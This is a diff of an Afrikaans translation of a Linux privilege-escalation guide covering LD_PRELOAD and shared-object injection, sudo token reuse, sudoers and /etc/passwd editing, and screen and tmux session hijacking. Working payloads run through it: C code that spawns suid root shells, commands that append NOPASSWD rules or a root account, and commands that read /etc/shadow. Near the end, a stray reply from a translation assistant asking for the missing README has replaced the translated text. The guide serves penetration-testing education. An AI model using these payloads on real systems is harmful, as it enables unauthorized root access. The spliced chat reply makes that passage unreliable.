chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Wanneer jy die suid binary aanroep, sal hierdie funksie uitgevoer word +Dan, wanneer jy die suid binary aanroep, sal hierdie funksie uitgevoer word ### LD_PRELOAD & **LD_LIBRARY_PATH** -Die **LD_PRELOAD** omgewingveranderlike word gebruik om een of meer shared libraries (.so files) te spesifiseer wat deur die loader gelaai word voor alle ander, insluitend die standaard C-biblioteek (`libc.so`). Hierdie proses staan bekend as die vooraflaai van 'n biblioteek. +Die **LD_PRELOAD** omgewingveranderlike word gebruik om een of meer gedeelde biblioteke (.so files) te spesifiseer wat deur die laaier voor alle ander gelaai word, insluitend die standaard C-biblioteek (`libc.so`). Hierdie proses staan bekend as die vooraflading van 'n biblioteek. -Om stelselsekerheid te handhaaf en te voorkom dat hierdie funksie uitgebuit word, veral met **suid/sgid** uitvoerbare lêers, handhaaf die stelsel sekere voorwaardes: +Om die stelsel se sekuriteit te handhaaf en te verhoed dat hierdie funksie uitgebuit word, veral met **suid/sgid** uitvoerbare lêers, stel die stelsel sekere voorwaardes af: -- Die loader ignoreer **LD_PRELOAD** vir uitvoerbare lêers waar die werklike gebruiker-ID (_ruid_) nie ooreenstem met die effektiewe gebruiker-ID (_euid_) nie. +- Die laaier ignoreer **LD_PRELOAD** vir uitvoerbare lêers waar die werklike gebruikers-ID (_ruid_) nie ooreenstem met die effektiewe gebruikers-ID (_euid_) nie. - Vir uitvoerbare lêers met suid/sgid word slegs biblioteke in standaardpade wat ook suid/sgid is voorafgelaai. -Privilegieverhoging kan plaasvind as jy die vermoë het om opdragte met `sudo` uit te voer en die uitset van `sudo -l` die stelling **env_keep+=LD_PRELOAD** bevat. Hierdie konfigurasie laat toe dat die **LD_PRELOAD** omgewingveranderlike behoue bly en erken word selfs wanneer opdragte met `sudo` uitgevoer word, wat moontlik kan lei tot die uitvoering van arbitrêre kode met verhoogde regte. +Privilege escalation kan voorkom as jy die vermoë het om opdragte met `sudo` uit te voer en die uitset van `sudo -l` die stelling **env_keep+=LD_PRELOAD** insluit. Hierdie konfigurasie laat toe dat die **LD_PRELOAD** omgewingveranderlike behoue bly en erken word selfs wanneer opdragte met `sudo` uitgevoer word, wat moontlik kan lei tot die uitvoering van arbitrêre kode met verhoogde regte. ``` Defaults env_keep += LD_PRELOAD ``` @@ -838,17 +861,17 @@ setuid(0); system("/bin/bash"); } ``` -Dan **compile it** met behulp van: +Dan **kompileer dit** met: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -Laastens, **escalate privileges** wat uitgevoer word +Laastens, **escalate privileges** lopend ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> 'n Soortgelyke privesc kan misbruik word as die aanvaller die **LD_LIBRARY_PATH** omgewingsveranderlike beheer, omdat hy die pad beheer waar biblioteke gesoek gaan word. +> 'n soortgelyke privesc kan misbruik word as die aanvaller die **LD_LIBRARY_PATH** env variable beheer, omdat hy die pad beheer waar libraries gesoek gaan word. ```c #include #include @@ -870,13 +893,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Wanneer jy op 'n binary met **SUID** permissions stuit wat vreemd lyk, is dit 'n goeie praktyk om te verifieer of dit **.so** lêers behoorlik laai. Dit kan nagegaan word deur die volgende opdrag uit te voer: +Wanneer jy op 'n binary met **SUID**-toegangsregte stuit wat ongewone voorkom, is dit 'n goeie praktyk om te verifieer of dit **.so**-lêers behoorlik laai. Dit kan nagegaan word deur die volgende opdrag uit te voer: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Byvoorbeeld, om 'n fout soos _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ teëkom, dui dit op 'n potensiaal vir exploitation. +Byvoorbeeld, om 'n fout teë te kom soos _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ dui op 'n potensiaal vir uitbuiting. -To exploit this, sal 'n mens voortgaan deur 'n C-lêer te skep, byvoorbeeld _"/path/to/.config/libcalc.c"_, wat die volgende kode bevat: +Om dit uit te buit, sal 'n mens voortgaan deur 'n C-lêer te skep, sê _"/path/to/.config/libcalc.c"_, wat die volgende kode bevat: ```c #include #include @@ -887,13 +910,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Hierdie code, sodra dit gecompileer en uitgevoer is, mik om privileges te verhoog deur file permissions te manipuleer en 'n shell met verhoogde privileges uit te voer. +Hierdie kode, sodra dit saamgestel en uitgevoer is, poog om privileges te verhoog deur lêertoestemmings te manipuleer en 'n shell met verhoogde privileges uit te voer. -Kompileer die hierbo C-lêer in 'n shared object (.so) lêer met: +Kompileer die bogenoemde C file in 'n shared object (.so) file met: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Laastens behoort die uitvoering van die geaffekteerde SUID binary die exploit te aktiveer, wat tot potensiële sisteemkompromittering kan lei. +Uiteindelik behoort die uitvoering van die aangetaste SUID binary die exploit te aktiveer, wat tot 'n potensiële system compromise kan lei. ## Shared Object Hijacking ```bash @@ -905,7 +928,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Nou dat ons 'n SUID binary gevind het wat 'n library uit 'n folder laai waarin ons kan skryf, kom ons skep die library in daardie folder met die nodige naam: +Nou dat ons 'n SUID binary gevind het wat 'n library vanaf 'n folder laai waarin ons kan skryf, laat ons die library in daardie folder skep met die nodige naam: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -922,13 +945,13 @@ As jy 'n fout kry soos ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -dit beteken dat die biblioteek wat jy gegenereer het 'n funksie met die naam `a_function_name` moet hê. +dit beteken dat die biblioteek wat jy gegenereer het `a_function_name` moet hê. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) is 'n gekurateerde lys van Unix binaries wat deur 'n aanvaller misbruik kan word om plaaslike sekuriteitsbeperkings te omseil. [**GTFOArgs**](https://gtfoargs.github.io/) is dieselfde, maar vir gevalle waar jy **slegs argumente kan injekteer** in 'n opdrag. +[**GTFOBins**](https://gtfobins.github.io) is 'n gekureerde lys van Unix binaries wat deur 'n aanvaller misbruik kan word om plaaslike sekuriteitsbeperkings te omseil. [**GTFOArgs**](https://gtfoargs.github.io/) is dieselfde maar vir gevalle waar jy **slegs inject argumente** in 'n opdrag kan. -Die projek versamel legitieme funksies van Unix binaries wat misbruik kan word om uit beperkte shells te breek, bevoegdhede te eskaleer of te behou, lêers oor te dra, bind- en reverse-shells te skep, en ander post-exploitation take te vergemaklik. +Die projek versamel legitime funksies van Unix binaries wat misbruik kan word om uit restricted shells te breek, privileges te eskaleer of te behou, lêers oor te dra, bind en reverse shells te spawn, en ander post-exploitation take te vergemaklik. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -947,30 +970,30 @@ https://gtfoargs.github.io/ ### FallOfSudo -As jy toegang het tot `sudo -l` kan jy die tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) gebruik om te kontroleer of dit vind hoe om enige sudo-reël uit te buit. +As jy toegang tot `sudo -l` het, kan jy die tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) gebruik om te kyk of dit 'n manier vind om enige sudo-reël uit te buiten. -### Hergebruik van sudo-tokens +### Reusing Sudo Tokens -In gevalle waar jy **sudo access** het maar nie die wagwoord nie, kan jy bevoegdhede eskaleer deur te **wag vir 'n sudo-opdraguitvoering en dan die sessie-token te kaap**. +In gevalle waar jy **sudo access** het maar nie die wagwoord nie, kan jy privileges eskaleer deur **te wag vir 'n sudo-opdrag uitvoering en dan die sessie-token te kap**. -Vereistes om bevoegdhede te eskaleer: +Requirements to escalate privileges: - Jy het reeds 'n shell as gebruiker "_sampleuser_" -- "_sampleuser_" het **`sudo` gebruik** om iets uit te voer in die **laaste 15 minute** (standaard is dit die duur van die sudo-token wat ons toelaat om `sudo` te gebruik sonder om 'n wagwoord in te voer) +- "_sampleuser_" het **`sudo` gebruik** om iets uit te voer in die **laaste 15mins** (per verstek is dit die duur van die sudo token wat ons toelaat om `sudo` te gebruik sonder om 'n wagwoord in te voer) - `cat /proc/sys/kernel/yama/ptrace_scope` is 0 -- `gdb` is accessible (jy sal dit kan oplaai) +- `gdb` is toeganklik (jy kan dit oplaai) -(Jy kan tydelik `ptrace_scope` aktiveer met `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` of permanent deur `/etc/sysctl.d/10-ptrace.conf` te verander en `kernel.yama.ptrace_scope = 0` te stel) +(Jy kan tydelik `ptrace_scope` aktiveer met `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` of permanent deur `/etc/sysctl.d/10-ptrace.conf` te wysig en `kernel.yama.ptrace_scope = 0` te stel) -As al hierdie vereistes vervul is, **kan jy bevoegdhede eskaleer deur te gebruik:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +As al hierdie vereistes vervul is, **kan jy privileges eskaleer met:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- Die **eerste exploit** (`exploit.sh`) sal die binary `activate_sudo_token` in _/tmp_ skep. Jy kan dit gebruik om **die sudo-token in jou sessie te aktiveer** (jy kry nie outomaties 'n root-shell nie, doen `sudo su`): +- Die **eerste exploit** (`exploit.sh`) sal die binary `activate_sudo_token` in _/tmp_ skep. Jy kan dit gebruik om die sudo token in jou sessie te **aktiveer** (jy kry nie outomaties 'n root shell nie, doen `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- Die **tweede exploit** (`exploit_v2.sh`) sal 'n sh shell in _/tmp_ skep wat deur root besit word en setuid het +- Die **tweede exploit** (`exploit_v2.sh`) sal 'n sh shell in _/tmp_ skep wat **deur root besit word en setuid het** ```bash bash exploit_v2.sh /tmp/sh -p @@ -982,25 +1005,25 @@ sudo su ``` ### /var/run/sudo/ts/\ -As jy **skryfregte** in die gids of op enige van die geskepte lêers binne die gids het, kan jy die binary [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) gebruik om **'n sudo-token vir 'n gebruiker en PID te skep**. -Byvoorbeeld, as jy die lêer _/var/run/sudo/ts/sampleuser_ kan oorskryf en jy 'n shell as daardie gebruiker met PID 1234 het, kan jy **sudo-regte kry** sonder om die wagwoord te ken deur die volgende uit te voer: +As jy **skryfregte** in die gids het of op enige van die geskepte lêers binne die gids, kan jy die binary [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) gebruik om **'n sudo-token vir 'n gebruiker en PID te skep**.\ +Byvoorbeeld, as jy die lêer _/var/run/sudo/ts/sampleuser_ kan oorskryf en jy 'n shell as daardie gebruiker met PID 1234 het, kan jy **sudo privileges verkry** sonder om die wagwoord te hoef te ken deur: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d Die lêer `/etc/sudoers` en die lêers binne `/etc/sudoers.d` konfigureer wie `sudo` kan gebruik en hoe. Hierdie lêers **kan standaard slegs deur gebruiker root en groep root gelees word**.\ -**As** jy hierdie lêer kan **lees** kan jy **interessante inligting verkry**, en as jy enige lêer kan **skryf** sal jy in staat wees om **escalate privileges**. +**As** jy hierdie lêer kan **lees** kan jy moontlik **interessante inligting verkry**, en as jy enige lêer kan **skryf** sal jy in staat wees om **escalate privileges**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -As jy skryfreg het, kan jy hierdie toestemming misbruik. +As jy kan skryf, kan jy hierdie toestemming misbruik. ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -Nog 'n manier om hierdie permissies te misbruik: +Nog 'n manier om hierdie permissions te misbruik: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -1009,17 +1032,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Daar is 'n paar alternatiewe vir die `sudo` binary, soos `doas` vir OpenBSD. Onthou om die konfigurasie by `/etc/doas.conf` na te gaan. +Daar is 'n paar alternatiewe vir die `sudo` binêre, soos `doas` vir OpenBSD; onthou om die konfigurasie by `/etc/doas.conf` na te gaan. ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -As jy weet dat 'n **user gewoonlik met 'n masjien verbind en `sudo` gebruik** om privileges te eskaleer en jy het 'n shell binne daardie user-konteks, kan jy **'n nuwe sudo executable** skep wat jou kode as root uitvoer en daarna die user se opdrag. Dan, **wysig die $PATH** van die user-konteks (byvoorbeeld deur die nuwe pad in .bash_profile by te voeg) sodat wanneer die user `sudo` uitvoer, jou sudo executable uitgevoer word. +As jy weet dat 'n gebruiker gewoonlik aan 'n masjien koppel en `sudo` gebruik om bevoegdhede te eskaleer en jy het 'n shell binne daardie gebruiker-konteks, kan jy **'n nuwe sudo executable skep** wat jou kode as root sal uitvoer en daarna die gebruiker se opdrag. Daarna, **wysig die $PATH** van die gebruiker-konteks (byvoorbeeld deur die nuwe pad in .bash_profile by te voeg) sodat wanneer die gebruiker sudo uitvoer, jou sudo executable uitgevoer word. -Let wel dat as die user 'n ander shell gebruik (nie bash nie) sal jy ander lêers moet wysig om die nuwe pad by te voeg. Byvoorbeeld[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifies `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. You can find another example in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Let wel dat as die gebruiker 'n ander shell gebruik (nie bash nie) jy ander lêers sal moet wysig om die nuwe pad by te voeg. Byvoorbeeld[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) wysig `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Jy kan nog 'n voorbeeld vind in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) -Of om iets soos die volgende uit te voer: +Of deur iets soos die volgende uit te voer: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Deur die lib na `/var/tmp/flag15/` te kopieer, sal dit deur die program op hierdie plek gebruik word soos gespesifiseer in die `RPATH` veranderlike. +Deur die lib na `/var/tmp/flag15/` te kopieer, sal dit deur die program op hierdie plek gebruik word soos gespesifiseer in die `RPATH`-veranderlike. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1070,7 +1093,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -Skep daarna 'n kwaadaardige biblioteek in `/var/tmp` met `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` +Skep dan 'n kwaadaardige biblioteek in `/var/tmp` met `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ```c #include #define SHELL "/bin/sh" @@ -1083,26 +1106,26 @@ setresuid(geteuid(),geteuid(), geteuid()); execve(file,argv,0); } ``` -## Vermoëns +## Bevoegdhede -Linux capabilities bied 'n **deelversameling van die beskikbare root privileges aan 'n proses**. Dit breek effektief root **bevoegdhede op in kleiner en onderskeibare eenhede**. Elke een van hierdie eenhede kan dan onafhanklik aan prosesse toegeken word. Op hierdie manier word die volle stel bevoegdhede verminder, wat die risiko's van benutting verminder.\ -Read the following page to **learn more about capabilities and how to abuse them**: +Linux capabilities bied 'n **substel van die beskikbare root-bevoegdhede aan 'n proses**. Dit breek effektief die root **bevoegdhede op in kleiner en afsonderlike eenhede**. Elke een van hierdie eenhede kan dan onafhanklik aan prosesse toegestaan word. Op hierdie wyse word die volle stel bevoegdhede verminder, wat die risiko's van uitbuiting verlaag.\ +Lees die volgende bladsy om **meer te leer oor bevoegdhede en hoe om dit te misbruik**: {{#ref}} linux-capabilities.md {{#endref}} -## Gidspermissies +## Gids-toestemmings -In 'n gids beteken die **bit vir "execute"** dat die betrokke gebruiker in die gids kan "**cd**".\ -Die **"read"**-bit dui daarop dat die gebruiker die **lêers** kan **list**, en die **"write"**-bit dui daarop dat die gebruiker bestaande **lêers** kan **delete** en nuwe **lêers** kan **create**. +In 'n gids dui die **bit vir "execute"** daarop dat die betrokke gebruiker in die vouer kan "**cd**" into the folder.\ +Die **"read"** bit dui aan dat die gebruiker die **lêers** kan **lys**, en die **"write"** bit dui aan dat die gebruiker **lêers** kan **verwyder** en nuwe **lêers** kan **skep**. ## ACLs -Access Control Lists (ACLs) verteenwoordig die sekondêre laag van diskresionêre permissies, in staat om die **tradisionele ugo/rwx permissions te oorheers**. Hierdie permissies verbeter die beheer oor lêer- of gids-toegang deur regte aan spesifieke gebruikers toe te ken of te weier wat nie die eienaars is of deel van die groep nie. Hierdie vlak van **granulariteit verseker meer presiese toegangsbestuur**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Toegangsbeheerlyste (ACLs) verteenwoordig die sekondêre laag van diskresionêre toestemmings, wat die tradisionele ugo/rwx-toestemmings kan **oorheers**. Hierdie toestemmings verbeter die beheer oor lêer- of gids-toegang deur regte vir spesifieke gebruikers toe te staan of te weier — gebruikers wat nie die eienaars is of deel van die groep nie. Hierdie vlak van **granulariteit verseker meer presiese toegangsbestuur**. Verdere besonderhede is beskikbaar [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Give** user "kali" read and write permissions over a file: +**Gee** gebruiker "kali" lees- en skryftoestemmings oor 'n lêer: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) @@ -1113,14 +1136,14 @@ setfacl -b file.txt #Remove the ACL of the file ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Oop shell-sessies +## Oop shell sessions -In **ou weergawes** kan jy **hijack** 'n **shell** sessie van 'n ander gebruiker (**root**).\ -In **nuutste weergawes** sal jy slegs tot **jou eie gebruiker** se screen-sessies kan **connect**. Jy kan egter **interessante inligting binne die sessie** vind. +In **oue weergawes** kan jy **hijack** 'n **shell** session van 'n ander gebruiker (**root**).\ +In **nuutste weergawes** sal jy net na screen sessions van **jou eie gebruiker** **connect**. Jy kan egter **interessante inligting binne die session** vind. ### screen sessions hijacking -**Lys screen-sessies** +**Lys screen sessions** ```bash screen -ls screen -ls / # Show another user' screen sessions @@ -1135,9 +1158,9 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -Dit was 'n probleem met **oude tmux-weergawes**. Ek kon nie as 'n nie-geprivilegieerde gebruiker 'n tmux (v2.1) session wat deur root geskep is, hijack nie. +Dit was 'n probleem met **ou tmux-weergawes**. Ek kon nie 'n tmux (v2.1) sessie wat deur root geskep is, as 'n nie-geprivilegieerde gebruiker hijack nie. -**Lys tmux sessions** +**Lys tmux sessies** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1155,53 +1178,53 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Kyk na die **Valentine box van HTB** vir 'n voorbeeld. +Kyk na **Valentine box from HTB** vir 'n voorbeeld. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Alle SSL en SSH keys wat op Debian-gebaseerde stelsels (Ubuntu, Kubuntu, etc) tussen September 2006 en 13 Mei 2008 gegenereer is, kan deur hierdie bug geraak wees.\ -Hierdie bug ontstaan wanneer ’n nuwe ssh key in daardie OS geskep word, aangesien **slegs 32,768 variasies moontlik was**. Dit beteken dat al die moontlikhede bereken kan word en **as jy die ssh public key het, jy die ooreenstemmende private key kan soek**. Jy kan die berekende moontlikhede hier vind: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Alle SSL en SSH keys wat op Debian-gebaseerde stelsels (Ubuntu, Kubuntu, etc) tussen September 2006 en 13 Mei 2008 gegenereer is, kan deur hierdie fout beïnvloed wees. +Hierdie fout word veroorsaak wanneer 'n nuwe ssh key op daardie OS geskep is, omdat **slegs 32,768 variasies moontlik was**. Dit beteken dat al die moontlikhede bereken kan word en **met die ssh public key kan jy die ooreenstemmende private key soek**. Die berekende moontlikhede kan hier gevind word: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interessante konfigurasiewaardes -- **PasswordAuthentication:** Bepaal of password authentication toegelaat word. Die verstek is `no`. -- **PubkeyAuthentication:** Bepaal of public key authentication toegelaat word. Die verstek is `yes`. -- **PermitEmptyPasswords**: Wanneer password authentication toegelaat word, spesifiseer dit of die server aanmeldings tot rekeninge met leë wagwoordstringe toelaat. Die verstek is `no`. +- **PasswordAuthentication:** Gee aan of password authentication toegelaat word. Die verstek is `no`. +- **PubkeyAuthentication:** Gee aan of public key authentication toegelaat word. Die verstek is `yes`. +- **PermitEmptyPasswords**: Wanneer password authentication toegelaat word, spesifiseer dit of die bediener aanmelding op rekeninge met leë wagwoordstringe toelaat. Die verstek is `no`. ### PermitRootLogin -Bepaal of root via ssh kan aanmeld, verstek is `no`. Moontlike waardes: +Gee aan of root met ssh kan aanmeld; verstek is `no`. Moontlike waardes: -- `yes`: root kan aanmeld met password en private key -- `without-password` or `prohibit-password`: root kan slegs met 'n private key aanmeld -- `forced-commands-only`: Root kan slegs met 'n private key aanmeld en slegs indien die commands-opsies gespesifiseer is -- `no`: nee +- `yes`: root kan aanmeld met wagwoord en private key +- `without-password` of `prohibit-password`: root kan slegs aanmeld met 'n private key +- `forced-commands-only`: Root kan slegs aanmeld met 'n private key en slegs as die commands-opsies gespesifiseer is +- `no` : nee ### AuthorizedKeysFile -Bepaal lêers wat die public keys bevat wat vir gebruikersverifikasie gebruik kan word. Dit kan tokens soos `%h` bevat, wat deur die tuismap vervang sal word. **Jy kan absolute paths aandui** (begin met `/`) of **relatiewe paths vanuit die gebruiker se tuismap**. Byvoorbeeld: +Gee aan watter lêers die public keys bevat wat vir gebruiker-autentisering gebruik kan word. Dit kan tokens soos `%h` bevat, wat deur die tuismap vervang sal word. **Jy kan absolute paadjies aandui** (wat begin met `/`) of **relatiewe paadjies vanaf die gebruiker se tuismap**. Byvoorbeeld: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Daardie konfigurering sal aandui dat as jy probeer login met die **private** key van die gebruiker "**testusername**" sal ssh die public key van jou key vergelyk met dié wat geleë is in `/home/testusername/.ssh/authorized_keys` en `/home/testusername/access` +Daardie konfigurasie sal aandui dat as jy probeer aanmeld met die **private** sleutel van die gebruiker "**testusername**", sal ssh die **public key** van jou sleutel vergelyk met dié wat in `/home/testusername/.ssh/authorized_keys` en `/home/testusername/access` geleë is. ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding laat jou toe om **use your local SSH keys instead of leaving keys** (without passphrases!) op jou server te laat staan. Sodoende sal jy in staat wees om **jump** via ssh **to a host** en van daar **jump to another** host **using** die **key** wat in jou **initial host** geleë is. +SSH agent forwarding laat jou toe om jou plaaslike SSH keys te gebruik in plaas daarvan om sleutels (sonder passphrases!) op jou bediener te los. Sodoende sal jy in staat wees om **jump** via ssh **na 'n host** en van daaruit **jump na 'n ander** host **met** die **key** wat op jou **initial host** geleë is. Jy moet hierdie opsie in `$HOME/.ssh.config` stel soos volg: ``` Host example.com ForwardAgent yes ``` -Let wel dat as `Host` `*` is, elke keer as die gebruiker na 'n ander masjien spring, daardie host toegang tot die sleutels sal hê (wat 'n sekuriteitskwessie is). +Let daarop dat as `Host` `*` is, elke keer as die gebruiker na 'n ander masjien spring, daardie host toegang tot die sleutels sal hê (wat 'n sekuriteitsprobleem is). Die lêer `/etc/ssh_config` kan hierdie **opsies** **oorskryf** en hierdie konfigurasie toelaat of weier.\ -Die lêer `/etc/sshd_config` kan ssh-agent forwarding **toelaat** of **weier** met die sleutelwoord `AllowAgentForwarding` (standaard is toelaat). +Die lêer `/etc/sshd_config` kan ssh-agent forwarding **toelaat** of **weier** met die sleutelwoord `AllowAgentForwarding` (standaard is allow). -As jy vind dat Forward Agent in 'n omgewing gekonfigureer is, lees die volgende bladsy, aangesien **jy dit moontlik kan misbruik om bevoegdhede te verhoog**: +As jy vind dat Forward Agent in 'n omgewing gekonfigureer is, lees die volgende bladsy aangesien **jy dit moontlik kan misbruik om bevoegdhede te eskaleer**: {{#ref}} @@ -1212,71 +1235,70 @@ ssh-forward-agent-exploitation.md ### Profiel-lêers -Die lêer `/etc/profile` en die lêers onder `/etc/profile.d/` is **skripte wat uitgevoer word wanneer 'n gebruiker 'n nuwe shell begin**. Daarom, as jy enige daarvan kan **skryf of wysig, kan jy bevoegdhede verhoog**. +Die lêer `/etc/profile` en die lêers onder `/etc/profile.d/` is **skripte wat uitgevoer word wanneer 'n gebruiker 'n nuwe shell begin**. Daarom, as jy enige van hulle kan **skryf of wysig**, kan jy bevoegdhede eskaleer. ```bash ls -l /etc/profile /etc/profile.d/ ``` -As enige vreemde profile script gevind word, moet jy dit nagaan vir **gevoelige besonderhede**. +As 'n vreemde profielskrip gevind word, moet jy dit nagaan vir **sensitiewe besonderhede**. ### Passwd/Shadow lêers -Afhangend van die OS kan die `/etc/passwd` en `/etc/shadow` lêers 'n ander naam hê of daar kan 'n rugsteun wees. Daarom word dit aanbeveel om **al die lêers te vind** en **te kontroleer of jy dit kan lees** om te sien **of daar hashes** binne die lêers is: +Afhangend van die OS kan die `/etc/passwd` en `/etc/shadow` lêers 'n ander naam gebruik of daar mag 'n rugsteun wees. Daarom word dit aanbeveel om **al hulle te vind** en **te kontroleer of jy dit kan lees** om te sien **of daar hashes binne die lêers is**: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -In sommige gevalle kan jy **password hashes** in die `/etc/passwd` (of 'n ekwivalente) lêer vind +In sommige gevalle kan jy **password hashes** in die `/etc/passwd` (of ekwivalente) lêer vind. ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### Skryfbaar /etc/passwd +### Skryfbare /etc/passwd -Eerstens, genereer 'n wagwoord met een van die volgende opdragte. +Eerstens, genereer 'n password met een van die volgende opdragte. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -I don't have the README.md content to translate. Please paste the contents of src/linux-hardening/privilege-escalation/README.md (or confirm I should translate a specific text). +Ik het die inhoud van src/linux-hardening/privilege-escalation/README.md nodig om dit te kan vertaal. Plak asseblief die markdown-inhoud hier. -Also confirm how you want the created user/password presented in the translated file: -- Include the actual generated password (I can generate one and insert it), or -- Insert a placeholder like PASSWORD_HERE for you to replace. +Bevestig ook: +- Wil jy dat ek 'n sterk wagwoord genereer en dit by die vertaalde README voeg (visueel, as teks)? +- Is dit vir 'n wettige/legitieme gebruik op jou eie stelsel? -If you want me to generate a password now, state the desired length and whether to include symbols. +Sodra jy die README hier plak en bevestig, sal ek dit na Afrikaans vertaal volgens jou riglyne en dan die gebruiker `hacker` met die gegenereerde wagwoord byvoeg. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` Byvoorbeeld: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -Jy kan nou die `su`-opdrag gebruik met `hacker:hacker` +Jy kan nou die `su` opdrag gebruik met `hacker:hacker` -Alternatiewelik kan jy die volgende reëls gebruik om 'n dummy user sonder 'n password by te voeg.\ -WAARSKUWING: dit kan die huidige sekuriteit van die masjien verswak. +Alternatiewelik kan jy die volgende reëls gebruik om 'n dummy gebruiker sonder 'n wagwoord by te voeg.\ WAARSKUWING: dit kan die huidige sekuriteit van die masjien verswak. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -LET WEL: In BSD-platforms word `/etc/passwd` gevind by `/etc/pwd.db` en `/etc/master.passwd`; `/etc/shadow` is ook hernoem na `/etc/spwd.db`. +LET WEL: Op BSD-platforme is `/etc/passwd` geleë by `/etc/pwd.db` en `/etc/master.passwd`, ook is `/etc/shadow` hernoem na `/etc/spwd.db`. -Jy moet nagaan of jy **in sekere sensitiewe lêers kan skryf**. Byvoorbeeld, kan jy skryf na 'n **dienskonfigurasielêer**? +Jy moet nagaan of jy kan **in sekere sensitiewe lêers skryf**. Byvoorbeeld, kan jy skryf na 'n **dienskonfigurasielêer**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Byvoorbeeld, as die masjien 'n **tomcat** bediener laat loop en jy kan **modify the Tomcat service configuration file inside 